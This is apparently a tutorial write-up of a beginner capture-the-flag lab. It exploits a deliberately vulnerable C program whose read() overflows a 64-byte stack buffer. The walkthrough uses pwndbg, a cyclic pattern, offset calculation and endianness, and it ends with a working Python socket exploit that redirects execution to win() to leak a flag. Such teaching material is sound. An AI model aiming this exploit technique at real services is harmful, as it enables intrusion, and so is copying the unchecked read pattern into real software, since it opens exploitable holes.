Lets solve a very basic stack based buffer overflow lab to learn how it occurs, how it can be exploited, and how to analyze execution flow using a debugger and Python for automate exploit.
Press enter or click to view image in full size
The lab provided resources.. a C source file, a compiled binary, and the remote endpoint where you will send your exploit and after studying the program to retrieve the flag.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/sendfile.h>
#include <fcntl.h>void __attribute__((constructor)) setup()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void win()
{
sendfile(1, open("/flag", 0), 0, 0x100);
}
int main()
{
char buffer[64];
printf("Enter your name: ");
read(0, buffer, 0x100);
printf("Hello, %s\n", buffer);
return 0;
}
vulnerable part is the buffer[64]
with the read(0, buffer, 0x100)
call…program allocates 64 bytes on the stack for your name, but read
is told it may write up to 0x100
(256) bytes into that space, so if you supply more than 64 bytes the extra bytes spill past the end of buffer
and start overwriting neighboring stack data..If the user types more than 64 bytes, the extra bytes spill past the buffer and start overwriting those important values on the stack.
observe that the win() function sends a secret (/flag). By overwriting the saved return address, an attacker can redirect execution to win() instead of returning normally. The program permits this because it copies more bytes into a stack buffer than it can hold, allowing user input to overwrite control data on the stack.
Now we will explore a detailed, step by step approach to exploit the vulnerability and use debugger to analyze and control program execution. We will focus on a simple pwndbg workflow rather than gdb because pwndbg provides a more structured and informative view, which makes understand register state, stack layout, function calls, and control flow…
use the file command to collect basic information about the compiled executable.
Press enter or click to view image in full size
ELF 64-bit LSB executable, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, BuildID[sha1]=…, for GNU/Linux 3.2.0, not stripped
The executable is in ELF format for Linux and 64 bit architecture. This mean.. addresses, register sizes, and calling conventions are 64 bit.instruction set, calling convention, register names (RAX, RBX, RSP, RIP, etc.)… LSB indicates little endian byte order, which is the common format on x86 and x86 64. I will explain endianness in detail when we craft the exploit. Already working with complete reverse engineering and exploitation guide. I will try cover topics one by one, from basic concepts to advanced architecture and exploitation techniques maximum.
Now that we know the win function contains the flag or secret, we need to trigger it by overflowing the buffer to overwrite the saved return address and redirect execution to win. First, locate the win function’s address.
the file is not stripped, use the nm utility to locate the address of the win function. nm reads the symbol table embedded in the binary and prints symbol names with their addresses, so you can call or return to functions like win or main directly. It also shows global variable addresses which can be useful if you want to overwrite data rather than control flow. pwndbg provides similar information via its info functions and makes inspection easier, but if the binary is stripped nm will not list those symbols and you will need to rely on other techniques such as disassembly or dynamic analysis.
nm ./vuln | grep " win"
Press enter or click to view image in full size
collected win function address: 0x4011fd (symbol table entry 00000000004011fd T win).
Install the pwntools Python library. It is an exploit development framework that for binary exploitation and will be useful for future maybe.
apt install python3-pwntools
First, generate a cyclic pattern of unique bytes and save it to a file. Feed that file or its raw bytes to the vulnerable program so the overflow overwrites control data. Writing the pattern to a file makes it easy to supply via standard input or to transfer to a remote target. The workflow is: generate the pattern, crash the program with it, and inspect registers and memory to locate the overwritten values.
python3 - <<'PY'
from pwn import cyclic, cyclic_find
open('pat','wb').write(cyclic(300))
PY
this code uses pwntools to generate a cyclic pattern and save it to a file called pat
.
cyclic(300)
builds a 300 byte pseudo random but deterministic pattern made of non repeating substrings (so every 4- or 8-byte window is unique), andopen('pat','wb').write(...)
writes that pattern to disk
Now run the compiled vulnerable binary under pwn debug. After it starts, feed the generated pattern into its input to trigger a crash.
pwndbg ./vunl
Feed the cyclic pattern file into the program (also can copy and paste generated random byte to input)
pwndbg> r < pat
can see the program crashed and pwndbg reported Program received signal SIGSEGV, segmentation fault. This means the CPU attempted to access memory it was not permitted to access, meaning the program tried to read from or write to an invalid address. Now let’s analyze the register state.
Press enter or click to view image in full size
supplied a cyclic pattern as input. The pattern is a deterministic sequence of bytes where every eight byte window is unique, which makes it easy to locate where your input appears in memory. The pattern uses ASCII 0x61 for the letter a, so many windows contain repeated 0x61 bytes. The eight byte value currently at the top of the stack is 0x6161617461616173. Interpreted as little endian ASCII it appears in pwndbg as “saaataaa”. You can see both the saved RBP and the value at the top of the stack contain bytes from your input pattern. That proves your buffer overflow wrote past the saved RBP into the saved return slot. Because execution stopped at a ret instruction, the processor will pop the eight bytes at RSP into RIP and attempt to jump there. Those bytes are not a valid code address and the process crashed, but crucially you control the value that will be popped into RIP. That control is the core requirement for a return to function exploit.
To make the program return to win(), place the 8 byte little endian encoding of win’s address (for example 0x4011fd) into the saved return slot on the stack where the cyclic value currently resides.
We discussed earlier that the ELF is LSB which means little endian. Endianness is the order bytes are stored in memory for multi byte values..
Endianness determines how multi byte values (for example 16 bit, 32 bit, or 64 bit integers) are laid out in memory.
In little endian the least significant byte is stored at the lowest memory address.
In big endian the most significant byte is stored at the lowest memory address.Suppose you have a 32-bit integer
0x12345678
Bytes in memory (from most to least significant):
0x12 (MSB)
0x34
0x56
0x78 (LSB)In liitl endian
0x78 (LSB)
0x56
0x34
0x12 (MSB)
another example :
our win address is 0x4011fd
in little endian memory must store like : \xfd\x11\x40\x00\x00\x00\x00\x00
First, you need to determine the offset. offset is simply how many bytes from the start of your input you must write before you reach.and start to overwrite the saved return address on the stack.
in our example the cyclic pattern and the register dump showed an offset of 72 that means the first 72 bytes fill the buffer
and the saved frame data that sit before the return address, and the 73rd byte (and onward) begins to overwrite the saved return address itself. Concretely here the function allocated buffer[64]
(64 bytes) then the saved RBP (8 bytes) sits next on the stack, so 64 + 8 = 72
bytes brings you right to the saved return address. That number is what you use when building an exploit: b"A"*72 + <new_return_address>
so the new address replaces the original return address and control flow is redirected.
ill show how find the offset using Python as well.
manual, step by step way to convert the register value to the little endian byte (just for understanding)
Take the 64‑bit value you saw in the register:
0x6161617461616173
Drop the
0x
→6161617461616173
.Split into 2‑hex‑digit bytes (big‑endian order):
61 61 61 74 61 61 61 73
Reverse the byte order to get little endian (memory order):
73 61 61 61 61 74 61 61
Concatenate those bytes 7361616161746161
If you convert those bytes to ASCII you get
0x73='s'
,0x61='a'
,0x61='a'
,0x61='a'
,0x61='a'
,0x74='t'
,0x61='a'
,0x61='a'
> roughly"saaaataa"
which matches thes...a..
style you saw in pwndbg
we created "pat
“ earlier with the cyclic pattern
this Python snippet will convert and search the exact little endian byte sequence
python3 - <<'PY'
hex_be = "6161617461616173"
bytes_be = [hex_be[i:i+2] for i in range(0, len(hex_be), 2)]
bytes_le = bytes_be[::-1]
seq = bytes.fromhex(''.join(bytes_le))
print("little-endian hex:", seq.hex())
data = open('pat','rb').read()
print("offset:", data.find(seq))
PY
This script takes a hex string you copied from a register (hex_be = "6161617461616173"
), slices it into byte sized chunks with a list comprehension (bytes_be = [hex_be[i:i+2] for i in range(0, len(hex_be), 2)]
), flips that list (bytes_le = bytes_be[::-1]
) so the order matches how x86/x86_64 stores bytes in memory (little endian), joins and converts the reversed hex into a real bytes
object (seq = bytes.fromhex(''.join(bytes_le))
) and prints its hex form so you can verify it, then reads the pattern file (data = open('pat','rb').read()
) and looks for that byte sequence inside the file (data.find(seq)
); the returned index is the offset the exact number of bytes from the start of your input where that 8‑byte value appears in the cyclic pattern (or -1
if it isn’t found).
offset is 72
You observed the register value as 0x6161617461616173 (big endian hex).
Memory stores that same value as 73 61 61 61 61 74 61 61 (little endian bytes).
Searching the pattern file for that byte sequence tells you where in your input that exact 8‑byte window came from the offset to saved RIP
Press enter or click to view image in full size
We need to overflow the program’s 64 byte stack buffer by sending 72 bytes of filler to overwrite saved RBP and reach the saved return address, then overwrite that saved RIP with the 8 byte little endian address of the win()
function (found via nm
), so when the function executes ret
it pops our supplied address and jumps into win()
, which opens and writes /flag
to stdout
Press enter or click to view image in full size
import socket
import structptgendpoind = "exampleabcdefg.pentestgarage.com"
portnumber = 3273
winaddress = 0x4011fd
offset = 72
payload = b"A" * offset + struct.pack("<Q", winaddress) + b"\n"
with socket.create_connection((ptgendpoind, portnumber), timeout=10) as s:
s.sendall(payload)
try:
data = s.recv(4096)
out = b""
while data:
out += data
data = s.recv(4096)
except socket.timeout:
out = b""
if out:
print("Success...blah blah blah")
print(out.decode(errors="ignore"))
else:
print("Evideyoo palippoyi onnum nadannilla .")
ptgendpoind = “abcdefg.pentestgarage.com”
portnumber = 3273
Target host and port (remote service).winaddress = 0x4011fd
offset = 72
winaddress: the fixed address of the win() function obtained from the local binary (nm ./vuln → 00000000004011fd T win).offset: number of bytes to reach saved RIP, found by crashing with a cyclic pattern and locating where the pattern chunk appears (72).
payload = b”A” * offset + struct.pack(“<Q”, winaddress) + b”\n”
b”A” * offset: 72 filler bytes (0x41 = ASCII ‘A’) fill buffer and the saved RBP slot so the next bytes land exactly at saved RIP.struct.pack(“<Q”, winaddress): packs the 64 bit winaddress into 8 bytes little-endian (< = little-endian, Q = unsigned 8-byte). On x86–64 the CPU reads addresses from memory in little endian order we discussed earlier, so you must pack the bytes this way. This 8 byte sequence becomes the new saved RIP.
b”\n”: a newline often terminates input reads (the program reads until it sees bytes or newline depending on how input is consumed). In this program read(0, buffer, 0x100) reads raw bytes until EOF, but adding newline ensures the remote nc or service sees an input termination if it expects line-based input; it’s harmless and commonly used.
Opens TCP connection and sends the payload bytes exactly as constructed by with socket.create_connection((ptgendpoind, portnumber), timeout=10) as s:
s.sendall(payload)try:
data = s.recv(4096)
out = b””
while data:
out += data
data = s.recv(4096)
except socket.timeout:
out = b””Reads back whatever the remote service sends after processing your payload. It loops until the remote closes the connection or
recv
returns nothing. Timeout handling prevents hanging foreverthen If some data was received, print success and the data (likely the flag printed by
win()
).
Press enter or click to view image in full size
by generating a cyclic pattern and crashing the program under pwndbg we observed which bytes ended up in the saved return slot, converted that observed value into the corresponding byte offset of 72, and then crafted a payload consisting of 72 filler bytes followed by the 8 byte little endian encoding of the win function address ..sending that payload to the running service caused the function epilogue to execute a ret which popped our supplied address into RIP and transferred control into win, and win then executed its intended behavior of opening and sending the flag to stdout, so the exploit succeeds by abusing unchecked input length to overwrite return control flow and redirect execution to a benign helper function that leaks the secret.